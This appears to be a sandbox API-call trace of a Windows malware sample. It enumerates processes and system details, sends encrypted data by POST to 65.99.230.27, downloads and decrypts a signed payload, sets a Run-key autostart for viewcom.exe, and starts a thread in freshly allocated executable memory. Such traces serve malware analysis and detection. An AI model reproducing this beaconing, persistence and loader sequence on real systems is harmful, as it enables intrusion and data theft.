[0071.760] lstrlenW (lpString="merit.exe") returned 9
[0071.760] lstrcmpiW (lpString1="ping.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac7a0, lpString2="ping.exe" | out: lpString1="ping.exe") returned="ping.exe"
[0071.760] lstrlenW (lpString="ping.exe") returned 8
[0071.760] lstrcmpiW (lpString1="garageopinionsjoycecincinnati.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac7b2, lpString2="garageopinionsjoycecincinnati.exe" | out: lpString1="garageopinionsjoycecincinnati.exe") returned="garageopinionsjoycecincinnati.exe"
[0071.760] lstrlenW (lpString="garageopinionsjoycecincinnati.exe") returned 33
[0071.760] lstrcmpiW (lpString1="statewide-emergency.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac7f6, lpString2="statewide-emergency.exe" | out: lpString1="statewide-emergency.exe") returned="statewide-emergency.exe"
[0071.760] lstrlenW (lpString="statewide-emergency.exe") returned 23
[0071.760] lstrcmpiW (lpString1="paso_nylon_tests.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac826, lpString2="paso_nylon_tests.exe" | out: lpString1="paso_nylon_tests.exe") returned="paso_nylon_tests.exe"
[0071.760] lstrlenW (lpString="paso_nylon_tests.exe") returned 20
[0071.760] lstrcmpiW (lpString1="herbs.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac850, lpString2="herbs.exe" | out: lpString1="herbs.exe") returned="herbs.exe"
[0071.760] lstrlenW (lpString="herbs.exe") returned 9
[0071.761] lstrcmpiW (lpString1="emerging anniversary muscle cradle.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1ac864, lpString2="emerging anniversary muscle cradle.exe" | out: lpString1="emerging anniversary muscle cradle.exe") returned="emerging anniversary muscle cradle.exe"
[0071.761] lstrlenW (lpString="emerging anniversary muscle cradle.exe") returned 38
[0071.761] lstrcmpiW (lpString1="received_suggestions_stopped_emphasis.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1ac8b2, lpString2="received_suggestions_stopped_emphasis.exe" | out: lpString1="received_suggestions_stopped_emphasis.exe") returned="received_suggestions_stopped_emphasis.exe"
[0071.761] lstrlenW (lpString="received_suggestions_stopped_emphasis.exe") returned 41
[0071.761] lstrcmpiW (lpString1="pretty guru.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1ac906, lpString2="pretty guru.exe" | out: lpString1="pretty guru.exe") returned="pretty guru.exe"
[0071.761] lstrlenW (lpString="pretty guru.exe") returned 15
[0071.761] lstrcmpiW (lpString1="collectables_technical.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1ac926, lpString2="collectables_technical.exe" | out: lpString1="collectables_technical.exe") returned="collectables_technical.exe"
[0071.761] lstrlenW (lpString="collectables_technical.exe") returned 26
[0071.761] lstrcmpiW (lpString1="shakespeare.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1ac95c, lpString2="shakespeare.exe" | out: lpString1="shakespeare.exe") returned="shakespeare.exe"
[0071.761] lstrlenW (lpString="shakespeare.exe") returned 15
[0071.761] lstrcmpiW (lpString1="cliff_types.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1ac97c, lpString2="cliff_types.exe" | out: lpString1="cliff_types.exe") returned="cliff_types.exe"
[0071.761] lstrlenW (lpString="cliff_types.exe") returned 15
[0071.761] lstrcmpiW (lpString1="streamnomirrorsgrew.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1ac99c, lpString2="streamnomirrorsgrew.exe" | out: lpString1="streamnomirrorsgrew.exe") returned="streamnomirrorsgrew.exe"
[0071.761] lstrlenW (lpString="streamnomirrorsgrew.exe") returned 23
[0071.761] lstrcmpiW (lpString1="california_hate_gig_hits.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1ac9cc, lpString2="california_hate_gig_hits.exe" | out: lpString1="california_hate_gig_hits.exe") returned="california_hate_gig_hits.exe"
[0071.761] lstrlenW (lpString="california_hate_gig_hits.exe") returned 28
[0071.761] lstrcmpiW (lpString1="improve corporate vital.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1aca06, lpString2="improve corporate vital.exe" | out: lpString1="improve corporate vital.exe") returned="improve corporate vital.exe"
[0071.761] lstrlenW (lpString="improve corporate vital.exe") returned 27
[0071.761] lstrcmpiW (lpString1="gunsmarc.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1aca3e, lpString2="gunsmarc.exe" | out: lpString1="gunsmarc.exe") returned="gunsmarc.exe"
[0071.761] lstrlenW (lpString="gunsmarc.exe") returned 12
[0071.761] lstrcmpiW (lpString1="specifies.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1aca58, lpString2="specifies.exe" | out: lpString1="specifies.exe") returned="specifies.exe"
[0071.761] lstrlenW (lpString="specifies.exe") returned 13
[0071.761] lstrcmpiW (lpString1="taskeng.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1aca74, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe"
[0071.761] lstrlenW (lpString="taskeng.exe") returned 11
[0071.761] lstrcmpiW (lpString1="explorer.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1aca8c, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe"
[0071.761] lstrlenW (lpString="explorer.exe") returned 12
[0071.761] lstrcmpiW (lpString1="dwm.exe", lpString2="viewcom.exe") returned -1
[0071.761] lstrcpyW (in: lpString1=0x1acaa6, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe"
[0071.762] lstrlenW (lpString="dwm.exe") returned 7
[0071.762] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="viewcom.exe") returned -1
[0071.762] lstrcpyW (in: lpString1=0x1acab6, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe"
[0071.762] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
[0071.762] lstrcmpiW (lpString1="taskhost.exe", lpString2="viewcom.exe") returned -1
[0071.762] lstrcpyW (in: lpString1=0x1acae0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe"
[0071.762] lstrlenW (lpString="taskhost.exe") returned 12
[0071.762] lstrcmpiW (lpString1="spoolsv.exe", lpString2="viewcom.exe") returned -1
[0071.762] lstrcpyW (in: lpString1=0x1acafa, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe"
[0071.762] lstrlenW (lpString="spoolsv.exe") returned 11
[0071.762] lstrcmpiW (lpString1="audiodg.exe", lpString2="viewcom.exe") returned -1
[0071.762] lstrcpyW (in: lpString1=0x1acb12, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe"
[0071.762] lstrlenW (lpString="audiodg.exe") returned 11
[0071.762] lstrcmpiW (lpString1="svchost.exe", lpString2="viewcom.exe") returned -1
[0071.762] lstrcpyW (in: lpString1=0x1acb2a, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe"
[0071.762] lstrlenW (lpString="svchost.exe") returned 11
[0071.762] lstrcmpiW (lpString1="lsm.exe", lpString2="viewcom.exe") returned -1
[0071.762] lstrcpyW (in: lpString1=0x1acb42, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe"
[0071.762] lstrlenW (lpString="lsm.exe") returned 7
[0071.762] lstrcmpiW (lpString1="lsass.exe", lpString2="viewcom.exe") returned -1
[0071.762] lstrcpyW (in: lpString1=0x1acb52, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe"
[0071.762] lstrlenW (lpString="lsass.exe") returned 9
[0071.762] lstrcmpiW (lpString1="services.exe", lpString2="viewcom.exe") returned -1
[0071.762] lstrcpyW (in: lpString1=0x1acb66, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe"
[0071.762] lstrlenW (lpString="services.exe") returned 12
[0071.762] lstrcmpiW (lpString1="winlogon.exe", lpString2="viewcom.exe") returned 1
[0071.762] lstrcpyW (in: lpString1=0x1acb80, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe"
[0071.762] lstrlenW (lpString="winlogon.exe") returned 12
[0071.762] lstrcmpiW (lpString1="wininit.exe", lpString2="viewcom.exe") returned 1
[0071.762] lstrcpyW (in: lpString1=0x1acb9a, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe"
[0071.762] lstrlenW (lpString="wininit.exe") returned 11
[0071.762] lstrcmpiW (lpString1="csrss.exe", lpString2="viewcom.exe") returned -1
[0071.762] lstrcpyW (in: lpString1=0x1acbb2, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe"
[0071.762] lstrlenW (lpString="csrss.exe") returned 9
[0071.762] lstrcmpiW (lpString1="smss.exe", lpString2="viewcom.exe") returned -1
[0071.763] lstrcpyW (in: lpString1=0x1acbc6, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe"
[0071.763] lstrlenW (lpString="smss.exe") returned 8
[0071.763] lstrcmpiW (lpString1="System", lpString2="viewcom.exe") returned -1
[0071.763] lstrcpyW (in: lpString1=0x1acbd8, lpString2="System" | out: lpString1="System") returned="System"
[0071.763] lstrlenW (lpString="System") returned 6
[0071.763] lstrcmpiW (lpString1="[System Process]", lpString2="viewcom.exe") returned -1
[0071.763] lstrcpyW (in: lpString1=0x1acbe6, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]"
[0071.763] lstrlenW (lpString="[System Process]") returned 16
[0071.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OSPPSVC.EXE,WINWORD.EXE,cuisine-programs.exe,project kent essay.exe,accredited-reject-transmitted.exe,silent_romantic.exe,merit.exe,ping.exe,garageopinionsjoycecincinnati.exe,statewide-emergency.exe,paso_nylon_tests.exe,herbs.exe,emerging anniversary muscle cradle.exe,received_suggestions_stopped_emphasis.exe,pretty guru.exe,collectables_technical.exe,shakespeare.exe,cliff_types.exe,streamnomirrorsgrew.exe,california_hate_gig_hits.exe,improve corporate vital.exe,gunsmarc.exe,specifies.exe,taskeng.exe,explorer.exe,dwm.exe,OfficeClickToRun.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=696, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 696
[0071.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OSPPSVC.EXE,WINWORD.EXE,cuisine-programs.exe,project kent essay.exe,accredited-reject-transmitted.exe,silent_romantic.exe,merit.exe,ping.exe,garageopinionsjoycecincinnati.exe,statewide-emergency.exe,paso_nylon_tests.exe,herbs.exe,emerging anniversary muscle cradle.exe,received_suggestions_stopped_emphasis.exe,pretty guru.exe,collectables_technical.exe,shakespeare.exe,cliff_types.exe,streamnomirrorsgrew.exe,california_hate_gig_hits.exe,improve corporate vital.exe,gunsmarc.exe,specifies.exe,taskeng.exe,explorer.exe,dwm.exe,OfficeClickToRun.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=696, lpMultiByteStr=0x1acc28, cbMultiByte=696, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OSPPSVC.EXE,WINWORD.EXE,cuisine-programs.exe,project kent essay.exe,accredited-reject-transmitted.exe,silent_romantic.exe,merit.exe,ping.exe,garageopinionsjoycecincinnati.exe,statewide-emergency.exe,paso_nylon_tests.exe,herbs.exe,emerging anniversary muscle cradle.exe,received_suggestions_stopped_emphasis.exe,pretty guru.exe,collectables_technical.exe,shakespeare.exe,cliff_types.exe,streamnomirrorsgrew.exe,california_hate_gig_hits.exe,improve corporate vital.exe,gunsmarc.exe,specifies.exe,taskeng.exe,explorer.exe,dwm.exe,OfficeClickToRun.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],\x86®\x19XÈÂ", lpUsedDefaultChar=0x0) returned 696
[0071.763] RtlGetVersion (in: lpVersionInformation=0x182fc18 | out: lpVersionInformation=0x182fc18*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0
[0071.763] GetNativeSystemInfo (in: lpSystemInfo=0x182fd34 | out: lpSystemInfo=0x182fd34*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03))
[0071.763] lstrlenA (lpString="ZJEWV7F_40F77A1B") returned 16
[0071.768] CryptDuplicateHash (in: hHash=0x1a6418, pdwReserved=0x0, dwFlags=0x0, phHash=0x182fc4c | out: phHash=0x182fc4c) returned 1
[0071.768] CryptEncrypt (in: hKey=0x1a6148, hHash=0x1acb58, Final=1, dwFlags=0x0, pbData=0x1ad30c*, pdwDataLen=0x182fc34*=0x1ce, dwBufLen=0x1d0 | out: pbData=0x1ad30c*, pdwDataLen=0x182fc34*=0x1d0) returned 1
[0071.769] CryptExportKey (in: hKey=0x1a6148, hExpKey=0x1a5ff0, dwBlobType=0x1, dwFlags=0x40, pbData=0x182fbc8, pdwDataLen=0x182fc38 | out: pbData=0x182fbc8*, pdwDataLen=0x182fc38*=0x6c) returned 1
[0071.770] CryptGetHashParam (in: hHash=0x1acb58, dwParam=0x2, pbData=0x1ad2f8, pdwDataLen=0x182fc38, dwFlags=0x0 | out: pbData=0x1ad2f8, pdwDataLen=0x182fc38) returned 1
[0071.770] CryptDestroyHash (hHash=0x1acb58) returned 1
[0071.770] _snwprintf (in: _Dest=0x182fc60, _Count=0x40, _Format="%u.%u.%u.%u" | out: _Dest="65.99.230.27") returned 12
[0071.770] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x182fa3c, cbSize=0x182fc3c | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x182fc3c) returned 0x0
[0071.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x182fa3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 172
[0071.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x182fa3c, cbMultiByte=-1, lpWideCharStr=0x1adc48, cchWideChar=172 | out: lpWideCharStr="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned 172
[0071.775] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0071.957] InternetConnectW (hInternet=0xcc0004, lpszServerName="65.99.230.27", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0071.959] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c
[0071.960] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x1ad298*, dwOptionalLength=0x244 | out: lpOptional=0x1ad298*) returned 1
[0076.297] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x182fd28, lpdwBufferLength=0x182fc48, lpdwIndex=0x0 | out: lpBuffer=0x182fd28*, lpdwBufferLength=0x182fc48*=0x4, lpdwIndex=0x0) returned 1
[0076.297] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x182fc38, lpdwBufferLength=0x182fc40, lpdwIndex=0x0 | out: lpBuffer=0x182fc38*, lpdwBufferLength=0x182fc40*=0x4, lpdwIndex=0x0) returned 1
[0076.299] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e4718, dwNumberOfBytesToRead=0x6a324, lpdwNumberOfBytesRead=0x182fc3c | out: lpBuffer=0x1e4718*, lpdwNumberOfBytesRead=0x182fc3c*=0x6a324) returned 1
[0077.359] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24ea3c, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x182fc3c | out: lpBuffer=0x24ea3c*, lpdwNumberOfBytesRead=0x182fc3c*=0x0) returned 1
[0077.360] CryptDuplicateHash (in: hHash=0x1a6418, pdwReserved=0x0, dwFlags=0x0, phHash=0x182fc40 | out: phHash=0x182fc40) returned 1
[0077.362] CryptDecrypt (in: hKey=0x1a6148, hHash=0x1b34d0, Final=1, dwFlags=0x0, pbData=0x22c0048, pdwDataLen=0x182fd38 | out: pbData=0x22c0048, pdwDataLen=0x182fd38) returned 1
[0077.368] CryptVerifySignatureW (hHash=0x1b34d0, pbSignature=0x1e4718, dwSigLen=0x60, hPubKey=0x1a5ff0, szDescription=0x0, dwFlags=0x0) returned 1
[0077.368] CryptDestroyHash (hHash=0x1b34d0) returned 1
[0077.391] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0077.391] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0077.391] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0077.392] _snwprintf (in: _Dest=0x182fb44, _Count=0x104, _Format="\"%s\"" | out: _Dest="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\"") returned 65
[0077.392] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x182fd4c, lpdwDisposition=0x0 | out: phkResult=0x182fd4c*=0x360, lpdwDisposition=0x0) returned 0x0
[0077.392] RegSetValueExW (in: hKey=0x360, lpValueName="viewcom", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\"", cbData=0x84 | out: lpData="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\"") returned 0x0
[0077.392] RegCloseKey (hKey=0x360) returned 0x0
[0077.392] GetLastError () returned 0x0
[0077.392] GetLastError () returned 0x0
[0077.392] GetLastError () returned 0x0
[0077.392] GetLastError () returned 0x0
[0077.392] GetLastError () returned 0x0
[0077.392] GetLastError () returned 0x0
[0077.392] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.393] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.394] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.395] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.396] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.397] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.398] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.399] GetLastError () returned 0x0
[0077.683] VirtualAlloc (lpAddress=0x0, dwSize=0x24000, flAllocationType=0x3000, flProtect=0x40) returned 0x3d0000
[0077.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x177f33, lpParameter=0x1a15c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
